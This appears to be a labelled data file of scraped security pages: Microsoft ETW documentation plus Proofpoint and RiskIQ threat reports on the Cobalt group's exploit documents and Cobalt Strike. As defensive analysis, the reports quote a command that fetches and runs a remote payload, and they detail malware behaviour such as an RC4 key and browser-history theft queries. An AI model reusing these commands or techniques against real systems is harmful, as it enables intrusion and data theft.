Go Downloader APT review of the year DarkPulsar FAQ \xc2\xa9 2019 AO Kaspersky Lab. All Rights Reserved. Registered trademarks and service marks are the property of their respective owners. Contact us | Privacy Policy | License Agreement * * I agree to provide my email address to \xe2\x80\x9cAO Kaspersky Lab\xe2\x80\x9d to receive information about new posts on the site. I understand that I can withdraw this consent at any time via e-mail by clicking the \xe2\x80\x9cunsubscribe\xe2\x80\x9d link that I find at the bottom of any e-mail sent to me for the purposes mentioned above. Twitter Facebook LinkedIn YouTube RSS Email","0","1","0","0","0","1","0","0","1","1","1","0","0","1","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Event Tracing - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Event Tracing 05/31/2018 2 minutes to read In this article Purpose Event Tracing for Windows (ETW) provides application programmers the ability to start and stop event tracing sessions, instrument an application to provide trace events, and consume trace events. Trace events contain an event header and provider-defined data that describes the current state of an application or operation. You can use the events to debug an application and perform capacity and performance analysis. This documentation is for user-mode applications that want to use ETW. For information about instrumenting device drivers that run in kernel mode, see WPP Software Tracing and Adding Event Tracing to Kernel-Mode Drivers in the Windows Driver Kit (WDK). Where applicable Use ETW when you want to instrument your application, log user or kernel events to a log file, and consume events from a log file or in real time. Developer audience ETW is designed for C and C++ developers who write user-mode applications. Run-time requirements ETW is included in Microsoft Windows\xc2 2000 and later. For information about which operating systems are required to use a particular function, see the Requirements section of the documentation for the function. In this section Topic Description What's New in Event Tracing New features that were added to Event Tracing in each release. About Event Tracing General information about Event Tracing. Using Event Tracing Task-related topics that describe how to use the ETW API. Event Tracing Reference Detailed descriptions of ETW functions and other programming elements. \xc2 \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions | Proofpoint US Products Solutions Partners Resources Company United States United Kingdom France Germany Italy Spain Japan Australia Login Support Log-in Digital Risk Portal Email Fraud Defense ET Intelligence Mobile Defense Proofpoint Essentials Sendmail Support Log-in Contact Email Protection Defend against threats, ensure business continuity, and implement email policies. Advanced Threat Protection Protect against email, mobile, social and desktop threats. Security Awareness Training Engage your users and turn them into a strong line of defense against phishing and other cyber attacks. Cloud App Security Defend against cyber criminals accessing your sensitive data and trusted accounts. Archiving and Compliance Reduce risk, control costs and improve data visibility to ensure compliance. Information Protection Safeguard data in email, cloud apps, on-premise file shares and SharePoint. Digital Risk Protection Protect against digital security risks across web domains, social media and the deep and dark web. Email Security and Protection Email Fraud Defense Threat Response Auto-Pull Domain Discover For Email Mail Routing Agent Sendmail Open Source Essentials for Small Business Targeted Attack Protection in Email Browser Isolation Email Isolation Threat Response Emerging Threats Intelligence Premium Threat Information Service Simulated Phishing and Knowledge Assessments Interactive Training, Videos, and Materials Phishing Email Reporting and Analysis Business Intelligence Integrations Multinational Support Cloud Account Defense Cloud App Security Broker Enterprise Archive Enterprise Collaboration Archiving Intelligent Supervision E-discovery and Analytics Email Data Loss Prevention (DLP) Email Encryption Data Discover Social Media Protection Digital Compliance Domain Fraud Monitoring Executive and Location Threat Monitoring Training Modules, Videos, and Materials Try our Security Awareness Training content. Try Now Solutions by Topic Office 365 Protect your people and data in Microsoft Office 365 with unmatched security and compliance tools. EU General Data Protection Regulation (GDPR) Identify, classify and protect your sensitive data from advanced threats. Next Generation Compliance Solutions Safeguard business-critical information from data exfiltration, compliance risks and violations. Email Fraud Block attacks with a layered solution that protects you against every type of email fraud threat. Digital Brand, Security and Compliance Risk Eliminate the brand, security and compliance risks that stand in the way of digital engagement. Social Media Compliance Simplify social media compliance with pre-built content categories, policies and reports. Replace McAfee Email Security Products Stay ahead of email threats with email security from the exclusive migration partner of Intel Security. Solutions by Industry Federal Government Financial Services Healthcare Mobile for ISPs Email for ISPs Small and Medium Businesses Partner Programs Channel Partners Become a channel partner. Deliver Proofpoint solutions to your customers and grow your business. Archive Extraction Partners Learn about the benefits of becoming a Proofpoint Extraction Partner. Technology and Alliance Partners Learn about our relationships with industry-leading firms to help protect your people, data and brand. Social Media Protection Partners Learn about the technology and alliance partners in our Social Media Protection Partner program. Partner Tools Find a Channel Partner Become a Channel Partner Channel Partner Portal Resource Library Find the information you're looking for in our library of videos, data sheets, white papers and more. Blog Keep up with the latest news and happenings in the ever-evolving cybersecurity landscape. Events Connect with us at events to learn how to protect your people and data from ever-evolving threats. Customer Stories Read how Proofpoint customers around the globe solve their most pressing cybersecurity challenges. Webinars Browse our webinar library to learn about the latest threats, trends and issues in cybersecurity. Threat Center Learn about our threat operations center and read about the latest risks in our threat blog and reports. Learn More About Proofpoint Proofpoint is a leading cybersecurity company that protects organizations' greatest assets and biggest risks: their people. Why Proofpoint Today\xe2\x80\x99s cyber attacks target people. Learn about our unique people-centric approach to protection. Careers Stand out and make a difference at one of the world's leading cybersecurity companies. Investor Center View Proofpoint investor relations information, including press releases, financial results and events. News Center Read the latest press releases, news stories and media highlights about Proofpoint. Support Access the full range of Proofpoint support services. Learn More Blog Threat Insight Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions Rss June 01, 2017 Matthew Mesa, Axel F, Pierre T, Travis Green Overview In May, Proofpoint observed multiple campaigns using a new version of Microsoft Word Intruder (MWI). MWI is a tool sold on underground markets for creating exploit-laden documents, generally used in targeted attacks. We previously reported about MWI when it added support for CVE-2016-4117 [2]. After the latest update, MWI is now using CVE-2017-0199 [4][5] to launch an HTML Application (HTA) used for both information collection and payload execution. This activity targets organizations in the financial vertical including banks, banking software vendors, and ATM software and hardware vendors. The emails are sent to technology and security personnel working in departments including Fraud and Information Security. The actor involved is believed to be the Cobalt group -- an actor known to target banks in Europe and Asia and previously documented by Group IB [1]. The malicious documents created with MWI for use in these activities delivered Metasploit Stager, Cobalt Strike, and previously undocumented malware we named Cyst Downloader. Email Lures While we observed numerous malicious attachments, we describe two here and list the rest in the IOC section. In the first campaign, the email (Figure 1) purported to be from FinCERT [8] with the subject \xe2\x80\x9c\xd0\x9f\xd0\xb0\xd0\xbc\xd1\x8f\xd1\x82\xd0\xba\xd0\xb0 \xd0\xbf\xd0\xbe \xd0\xb8\xd0\xbd\xd1\x84\xd0\xbe\xd1\x80\xd0\xbc\xd0\xb0\xd1\x86\xd0\xb8\xd0\xbe\xd0\xbd\xd0\xbd\xd0\xbe\xd0\xb9 \xd0\xb1\xd0\xb5\xd0\xb7\xd0\xbe\xd0\xbf\xd0\xb0\xd1\x81\xd0\xbd\xd0\xbe\xd1\x81\xd1\x82\xd0\xb8\xe2\x80\x9d (Information Security Notice) and contained a Microsoft Word attachment named \xe2\x80\x9c\xd1\x81\xd0\xb2\xd0\xbe\xd0\xb4\xd0\xba\xd0\xb01705.doc\xe2\x80\x9d (report1705) (Figure 3). Another email (Figure 2) purported to be from Security Support for PCI-DSS [3] at a major credit card company with the subject line \xe2\x80\x9c\xd0\x91\xd0\xb5\xd0\xb7\xd0\xbe\xd0\xbf\xd0\xb0\xd1\x81\xd0\xbd\xd0\xbe\xd1\x81\xd1\x82\xd1\x8c\xe2\x80\x9d (security) and a Microsoft Word attachment (Figure 4) \xe2\x80\x9c\xd0\xa2\xd1\x80\xd0\xb5\xd0\xb1\xd0\xbe\xd0\xb2\xd0\xb0\xd0\xbd\xd0\xb8\xd1\x8f \xd0\xb1\xd0\xb5\xd0\xb7\xd0\xbe\xd0\xbf\xd0\xb0\xd1\x81\xd0\xbd\xd0\xbe\xd1\x81\xd1\x82\xd0\xb8.doc\xe2\x80\x9d (Safety requirements). Figure 1: Email used to deliver the MWI document (Body translated: \xe2\x80\x9cGood day, important to familiarize yourself!\xe2\x80\x9d) Figure 2: Email used to deliver the MWI document (Body translated: \xe2\x80\x9cPlease accept following advice and recommendations regarding necessary safety precautions\xe2\x80\x9d) Figure 3: MWI document after the exploit is triggered; the lure displays unreadable characters Figure 4: MWI document after the exploit is triggered; the lure describes the different ways to pay for a delinquent MTS (Russian mobile provider) bill MWI Advertising Integration of CVE-2017-0199 Before we describe our MWI analysis, it is worth mentioning that on May 8, 2017, an advertisement for MWI on an underground site stated that this exploit document builder integrated CVE-2017-0199, and was recruiting customers for several available seats. The full version of the original Russian advertisement and its English translation follows: Microsoft Office Word Exploits, universal .doc exploit-pack \xd0\xb8\xd0\xbc\xd0\xb5\xd0\xb5\xd1\x82\xd1\x81\xd1\x8f \xd0\xbd\xd0\xb5\xd1\x81\xd0\xba\xd0\xbe\xd0\xbb\xd1\x8c\xd0\xba\xd0\xbe \xd0\xbc\xd0\xb5\xd1\x81\xd1\x82 \xd0\xbd\xd0\xb0 CVE-2017-0199 (OLE2LINK) * \xd0\xb1\xd0\xb8\xd0\xbb\xd0\xb4\xd0\xb5\xd1\x80 * \xd1\x81\xd1\x82\xd0\xb0\xd1\x82\xd0\xb8\xd1\x81\xd1\x82\xd0\xb8\xd0\xba\xd0\xb0 * \xd0\xb7\xd0\xb0\xd0\xbf\xd1\x83\xd1\x81\xd0\xba exe/dll (\xd1\x81\xd0\xba\xd1\x80\xd0\xb8\xd0\xbf\xd0\xbb\xd0\xb5\xd1\x82\xd1\x82\xd0\xbe\xd0\xb2) * \xd0\xb7\xd0\xb0\xd0\xbf\xd1\x83\xd1\x81\xd0\xba cmd/powershell * \xd0\xbf\xd0\xbe\xd0\xb4\xd0\xb4\xd0\xb5\xd1\x80\xd0\xb6\xd0\xba\xd0\xb0, \xd0\xbe\xd0\xb1\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xbb\xd0\xb5\xd0\xbd\xd0\xb8\xd1\x8f, \xd1\x87\xd0\xb8\xd1\x81\xd1\x82\xd0\xba\xd0\xb8 \xd0\xbf\xd0\xbe\xd0\xb4\xd1\x80\xd0\xbe\xd0\xb1\xd0\xbd\xd0\xbe\xd1\x81\xd1\x82\xd0\xb8: [REDACTED_EMAIL] --- [*] MICROSOFT WORD INTRUDER 8 - the best APT-like *.doc exploit pack CVE-2016-4117 + CVE-2015-2545 + CVE-2015-1641 + CVE-2012-0158 Translation: Microsoft Office Word Exploits, universal .doc exploit-pack There are several spots available for the CVE-2017-0199 (OLE2LINK) * Builder * Statistics * Running exe / dll (scriptlets) * Starting cmd / powershell * Support, updates, cleaning Details: [REDACTED_EMAIL] --- [*] MICROSOFT WORD INTRUDER 8 - the best APT-like * .doc exploit pack CVE-2016-4117 + CVE-2015-2545 + CVE-2015-1641 + CVE-2012-0158 MWI Analysis When the document is opened, it drops the embedded payload into a temporary directory as is typical of RTFs with embedded objects[6]. Next, the CVE-2017-0199 exploit downloads and executes the HTA. From our analysis, the purpose of the HTA is two-fold. It is used to download and/or execute the payload as well as collect information about the infected machine. Thus the advertisement description is accurate. In the example analyzed here, shown in Figure 5, the MWI HTA is configured to run an executable payload embedded in the document, which was previously saved into the temporary directory when the recipient opened the document. Note that the HTA could have alternatively been configured to download and run an executable, DLL, or a JScript/VBscript file. It is also configured to collect and report information about the system, such as installed antivirus applications, running processes, and whether execution of the payload was successful. Figure 5: Configuration section of the MWI HTA As mentioned above, depending on how MWI is configured, it has different ways of executing the payload. Figure 6 shows the code snippet used for executing EXE and DLL payloads. There is also functionality for executing JScript/VBScript (Figure 7) and cmd/Powershell. All three methods generate a section for the Command and Control (C&C) report letting the operator know if the execution was successful. Figure 6: Portion of the HTA code responsible for running DLLs and Executables Figure 7: Portion of the HTA code responsible for executing VBScript/Jscript The information collection code is responsible for profiling the system. It collects network details, operating system information, installed antivirus products, and running processes (see list below). This collected information is encoded with base64 and sent it to its C&C server. UserName ComputerName UserDomain OS Version OS SerialNumber WindowsDirectory CodeSet CountryCode OSLanguage CurrentTimeZone Locale DefaultProxy Antivirus displayName Antivirus instanceGuid Antivirus pathToSignedProductExe Antivirus pathToSignedReportingExe Antivirus productState Antivirus Timestamp Running process ProcessId Running process Name Running process ExecutablePath Figure 8: Section of the HTA responsible for collecting information about the system Figure 9: Section of the HTA responsible for sending collected data Figure 10: Function in the HTA used to send collected data Malware Payload: Metasploit Stager The payload installed most frequently by MWI was the Metasploit stager, which in turn downloaded Cobalt Strike. The Metasploit stager [7] is used to stage additional malware and we often see it in penetration testing as well as real attacks. Malware Payload: Cyst Downloader and Plugin However, in at least in one case we observed an MWI document install a previously unknown malware (SHA256: af17a3b5bf4c78283b2ee338ac6d457b9f3e7b7187c7e9d8651452b78574b3d3). We are calling it the Cyst Downloader. The functionality of this loader is limited. It can create a mutex such as \xe2\x80\x9csyst<10 digits>\xe2\x80\x9d and communicate with the the C&C server to receive a DLL plugin. The URI path pattern of the C&C beacon contains a folder (random alphanumeric name) followed by a file (random alphanumeric name) with a .jpg, .php, .gif, or .png extension. The downloaded DLL is encrypted with a hardcoded ""\\x28\\xBF\\x0A\\xBE\\x5B\\x6E\\x70\\x03"" RC4\xc2 key and base64 encoded. The server sends the DLL in HTML comments in a fake 404 response. Figure 11: Cyst Downloader communicating with the C&C and receiving a payload plugin The DLL plugin is loaded in memory by the loader and does not access the disk. This plugin has the internal name \xe2\x80\x9ctest.dll\xe2\x80\x9d, which may indicate it is still in development. This plugin has only one export named \xe2\x80\x9cExecute\xe2\x80\x9d, which is hardcoded into the Cyst loader. The plugin enumerates URLs stored in the browser history, with support for Internet Explorer, Chrome, Firefox, and Opera: IE: parse history using the IUrlHistoryStg2::EnumUrls method Chrome: parse history using a SQL query : \xe2\x80\x9cSELECT url, (last_visit_time/1000000-11644473600) FROM urls\xe2\x80\x9d Firefox: parse history using a SQL query : \xe2\x80\x9cSELECT url, (last_visit_date/1000000) FROM moz_places\xe2\x80\x9d Opera: parse history using a SQL query : \xe2\x80\x9cSELECT url, (last_visit_time/1000000-11644473600) FROM urls\xe2\x80\x9d These methods of browser history parsing are well-known and have been used for a long time by malware authors. The visited URLs retrieved are stored in malware memory using this format : ""browser: (IE|Chrome|Firefox|Opera)\\r\\n\xe2\x80\x9d + \xe2\x80\x9curl: %s\xe2\x80\x9d + "" | time: %d\\r\\n"" Figure 12: Example of visited URLs (recovered from browser history) stored in memory This data is then RC4 encrypted and sent to the same C&C. The attacker is likely parsing the data on the server side and searching for a set of selected domains relevant to their attack, making it an efficient filter for interesting targets. Conclusion Microsoft Word Intruder is a powerful tool for creating exploit documents that can be used in a variety of malicious campaigns. In this case, not only was it used to install known malware and customizable scripts and executables, but also installed a previously undocumented malware called Cyst Downloader. While exploit documents are less commonly used in attacks as malicious attachments and hosted files than macro documents, the availability of often unpatched vulnerabilities like CVE-2017-0199 make it attractive to threat actors. We will continue to monitor MWI development and campaigns by Cobalt and other actors using associated exploit documents. Acknowledgements Special thanks to our colleague Andrew Komarov (InfoArmor Inc.) for his help in this study. References [1] http://www.group-ib.com/cobalt.html [2] https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-8-adds-support-for-flash-vulnerability [3] https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard [4] https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts [5] https://www.proofpoint.com/us/threat-insight/post/dridex-campaigns-millions-recipients-unpatched-microsoft-zero-day [6] https://www.proofpoint.com/us/threat-insight/post/dyre-malware-campaigners-innovate-distribution-techniques [7] https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/ [8] https://www.scmagazine.com/fincert-to-help-russian-banks-respond-to-cyber-attacks/article/535448/ Indicators of Compromise (IOCs) IOC IOC Type Description e559c65b51a874b9ebf4faacd830223428e507a865788c2f32a820b952ccf0b4 SHA256 MWI Document 2a918030be965cd5f365eb28cd5a0bebec32d05c6a27333ade3beaf3c54d242c SHA256 MWI Document e0f6073aee370d5e1e29da20208ffa10e1b30f4cf7860bb1a9dde67a83dee332 SHA256 MWI Document 61afc2bf91283ccc478406a4c1277a0c8549584716d8b3a89d36f9bcdc45c4fe SHA256 MWI Document af17a3b5bf4c78283b2ee338ac6d457b9f3e7b7187c7e9d8651452b78574b3d3 \xc2 SHA256 MWI Document 326a01a5e2eeeeebe3dade94cf0f7298f259b72e93bd1739505e14df3e7ac21e SHA256 MWI HTA hxxp://37.1.207[.]202/wstat/ URL MWI C&C hxxp://5.45.66[.]161/wstat/ URL MWI C&C 39ac90410bd78f541eb42b1108d2264c7bd7a5feafe102cd7ac8f517c1bd3754 SHA256 Metasploit Stager hxxps://176.9.99[.]134/MAUy URL Cobalt Strike Download hxxps://176.9.99[.]134/kQ6j URL Cobalt Strike Download hxxps://52.15.209[.]133/Els8 URL Cobalt Strike Download 138d3f20da09e9f5aa5a367b8ff89d349fe20a63682df2379a7a6f78f31eb53d SHA256 Cobalt Strike 176.9.99[.]134 IP Cobalt Strike C&C 52.15.209[.]133 IP Cobalt Strike C&C 922e3bccd3eb151ee46afb203f9618ae007b99a758ca95caf5324d650a496426 SHA256 Cyst Downloader 96.44.188[.]57 IP Cyst Downloader C&C 24973014fa8174ffff190ae7967a65307a23d42386683dc672babd9c6cf1e5ee SHA256 Cyst Plugin (browser history checker) ET and ETPRO Suricata/Snort Coverage 2024306 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ET TROJAN MWI Maldoc Load Payload 2024197 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ET CURRENT_EVENTS SUSPICIOUS MSXMLHTTP DL of HTA (Observed in RTF 0-day ) 2024307 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ET TROJAN MWI Maldoc Posting Host Data 2814013 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ETPRO TROJAN Meterpreter or Other Reverse Shell SSL Cert 2023629 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ET INFO Suspicious Empty SSL Certificate - Observed in Cobalt Strike 2826544\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ETPRO TROJAN Cyst Downloader Fake 404 About Overview Why Proofpoint Careers Leadership Team News Center Investors Center Threat Center Latest Threat Report Human Factor Report Threat Glossary Threat Blog Daily Ruleset Products Email Protection Advanced Threat Protection Security Awareness Training Cloud App Security Archive & Compliance Information Protection Digital Risk Protection Product Bundles Nexus Platform Resources Whitepapers Webinars Datasheets Events Customer Stories Blog Free Trial Connect +1-408-517-4710 Contact Us Office Locations Request a Demo Support Support Login Support Services IP Address Blocked? Social List Facebook Twitter linkedin Youtube Regions United States United Kingdom France Germany Italy Spain Japan Australia \xc2\xa9 2019. All rights reserved. Terms and conditions Privacy Policy Sitemap \xc2","0","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"We are rolling out a global privacy statement, effective June 15, 2019. By using this site, you agree with our use of cookies as described in the statement here. I consent to cookies Want to know more? RiskIQ Sign Up for the Free Edition Blog Contact Us TRY COMMUNITY EDITION CONTACT US Blog Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions November 28, 2017Yonathan Klijnsma In a recent spear-phishing campaign, the Cobalt Hacking Group used a remote code execution vulnerability in Microsoft Office software to connect to its command and control server via Cobalt Strike. However, they gave up much more information than they intended. On Tuesday, November 21, a massive spear-phishing campaign began targeting individual employees at various financial institutions, mostly in Russia and Turkey. Purporting to provide info on changes to \xe2\x80\x98SWIFT\xe2\x80\x99 terms, the email contained a single attachment with no text in the body. It was an attempt by the Cobalt Group to gain a foothold in the networks of the targeted individuals\xe2\x80\x99 organizations: In a recent spear-phishing campaign, the Cobalt Group used a known CVE to connect to its C&C server via Cobalt Strike, but ended up revealing all targets. Fig-1 What the targets saw However, rather than putting their targets in BCC, the attackers put the entire list in the \xe2\x80\x98TO\xe2\x80\x99 field allowing us to see their full list of intended targets. This isn\xe2\x80\x99t the first time we\xe2\x80\x99ve seen attackers make this error\xe2\x80\x94back in March, an attack focussing on 1,880 targets across financial institutions in Kazakhstan had the same flaw. In a recent spear-phishing campaign, the Cobalt Group used a known CVE to connect to its C&C server via Cobalt Strike, but ended up revealing all targets. Fig-2 As first seen on Twitter Payload Analysis The attachment in the email is an RTF document abusing the recently disclosed exploit referred to as CVE-2017-11882 which is capable of leveraging Office 2007 to 2016 to execute code. The file \xe2\x80\x98Swift changes.rtf\xe2\x80\x99 uses this exploit to start a remote payload like so: cmd /c start \\\\138.68.234.128\\w\\w.exe &AAAAAC The payload is a stager for a tool known as \xe2\x80\x98Cobalt Strike\xe2\x80\x99 which, normally, is used in red teaming and pen testing engagements. The framework has gained some notoriety with adversaries as it\xe2\x80\x99s been used in multiple attacks against financial institutions in the past. The Cobalt Strike beacon eventually connects to 104.144.207.207 which is the group\xe2\x80\x99s command and control server for this attack. A very detailed analysis of the Cobalt Group\xe2\x80\x99s activities and the way they operate can be found here: [ Cobalt strikes back: an evolving multinational threat to finance ]. Targets We won\xe2\x80\x99t be disclosing the recipients of the email, but we will take a look at the targeting from a geographical perspective. The majority of targeting was focused on Turkey and Russia, but there was also a broad attempt at a compromise, targeting employees of one financial institution in eight different countries. Our list of countries in which employees were targeted includes the United States, Netherlands, Italy, Austria, Ukraine, Turkey, Ukraine, Russia, Jordan, Kuwait, and the Czech Republic: In a recent spear-phishing campaign, the Cobalt Group used a known CVE to connect to its C&C server via Cobalt Strike, but ended up revealing all targets. Fig-3 Targeted countries highlighted in red One thing we noticed when analyzing the targets of this campaign was that there were a lot of direct employee email addresses on the list, which make their emails more convincing. More interesting is that the majority of these email addresses were found simply by Googling for email addresses for the financial institution making it likely the attackers used open source intelligence to gather their list of targets, and no prior information was needed to get the addresses. Finding More Cobalt Strike At RiskIQ, one of the datasets built from our large quantities of Internet data is a repository of SSL certificates and where we\xe2\x80\x99ve seen them. What\xe2\x80\x99s interesting about the case mentioned above is that the host is using a certificate seemingly shipped with Cobalt Strike by default. We can look up the certificate in RiskIQ Community via its SHA1 fingerprint: 6ece5ece4192683d2d84e25b0ba7e04f9cb7eb7c In a recent spear-phishing campaign, the Cobalt Group used a known CVE to connect to its C&C server via Cobalt Strike, but ended up revealing all targets. Fig-4 SSL data inside RiskIQ Community What we find is that at least a 100 different hosts seem to have been running an HTTPS server with the same certificate. If we jump over to our SIS API, we find that there have been 816(!) hosts running an HTTPS server with this certificate\xe2\x80\x94all Cobalt Strike servers using a default certificate. To ensure our findings were correct, we confirmed them with previously reported threats that involved Cobalt Strike. From the data gathered through SIS, we can create some statistics on the setup of these Cobalt Strike servers. Port usage: Port Hosts observed 443 811 465 4 995 1 Below is the amount of Cobalt Strike servers actively seen in our data from June 2015 until March 2016: In a recent spear-phishing campaign, the Cobalt Group used a known CVE to connect to its C&C server via Cobalt Strike, but ended up revealing all targets. Fig-5 Instances of Cobalt Strike servers detected by RiskIQ One thing to keep in mind is that Cobalt Strike is not always used by adversaries with malicious intent. Formally, Cobalt Strike is sold as a toolset for pen testing and red teaming engagements. We\xe2\x80\x99ve put all the hosts we\xe2\x80\x99ve seen running Cobalt Strike with a default SSL certificate in a RiskIQ Community project. The SSL certificate is also included in this set: https://community.riskiq.com/projects/19bb67dd-2c51-7284-e5f2-7b79537e13d3 Indicators of Compromise (IOCs) The following IOCs are only related to the above spear-phishing campaign. The larger set of Cobalt Strike servers we identified can be found in this RiskIQ Community Project mentioned in the previous section. Network IOCs Domain IP Address Purpose \xe2\x80\x93 138.68.234.128 Payload staging server \xe2\x80\x93 104.144.207.207 Cobalt Strike server Filesystem IOCs Filename MD5 Purpose Swift changes.rtf f360d41a0b42b129f7f0c29f98381416 CVE-2017-11882 exploit document downloading Cobalt Strike beacon w.exe d46df9eacfe7ff75e098942e541d0f18 Cobalt Strike beacon Learn More RiskIQ gathers petabytes of data through crawling the entire internet and has amassed data sets that include SSL certificates and many more. SSL certificates can provide context by showing whether a domain or IP is legitimate based on its certificate, identify self-signed certificates versus third-party authority, and identify IP clusters and additional certificates based on shared certificates. Click here for more information about how analysts can use SSL certificates to connect disparate malicious network infrastructure. Track the IOCs from this attack, including those listed above, in the RiskIQ Community Project located here. Share: Return to Blog Home SEARCH CATEGORIES External Threat Management (224) Labs (83) Analyst (77) Magecart (16) Interesting Crawls (6) CONNECT WITH US FEATURED POST RiskIQ\xe2\x80\x99s 2019 Evil Internet Minute: All the Cyber Threats Jammed Into 60 Seconds July 24, 2019Team RiskIQ Tweets by @riskiq RiskIQFollowRiskIQ RiskIQRiskIQ@RiskIQ\xc2\xb716 Sep It's near impossible to hide online. Even \xe2\x80\x98stealth\xe2\x80\x99 executives are at risk for serious security breaches https://t.co/MRKhZbAW7i Reply on TwitterRetweet on Twitter1Like on Twitter1Twitter Retweet on TwitterRiskIQ Retweeted SINETconnectionSINET@SINETconnection\xc2\xb712 Sep Nick Gicinto,Vice President, Executive Guardian @RiskIQ on stage #SINETCanada #cybersecurity @FSToronto, @SINETConnection Reply on TwitterRetweet on Twitter5Like on Twitter4Twitter Retweet on TwitterRiskIQ Retweeted ITProPortalITProPortal@ITProPortal\xc2\xb710 Sep Automation: the key to fighting cybercriminals https://t.co/dkx9Y3NApF Reply on TwitterRetweet on Twitter2Like on Twitter1Twitter RiskIQRiskIQ@RiskIQ\xc2\xb710 Sep Coming to CyberHub Summit? Find out how RiskIQ's internet-wide visibility and unmatched data are helping the c-suite cope with a rapidly changing cybersecurity landscape https://t.co/IMaU5tLJfc Reply on TwitterRetweet on TwitterLike on Twitter3Twitter RiskIQRiskIQ@RiskIQ\xc2\xb710 Sep Today! Visit us at booth #1486 at #GSX2019 to find out how RiskIQ #ExecutiveGuardian is giving today's top executives a continuous 360-degree view of their attack surface. Reply on TwitterRetweet on TwitterLike on Twitter1Twitter Load More... Our Technology RiskIQ Illuminate Platform RiskIQ Digital Footprint\xe2\x84\xa2 RiskIQ PassiveTotal\xe2\x84\xa2 RiskIQ External Threats\xe2\x84\xa2 Executive Guardian RiskIQ SIS\xe2\x84\xa2 (Security Intelligence Services) What is Attack Surface Management? Services Portfolio Compare Our Products Stay Informed News Coverage Press Releases Blog Awards and Recognition Resources Events About RiskIQ About Us Careers Contact Support Terms Privacy Cookie Preferences Copyright 2016 - 2019 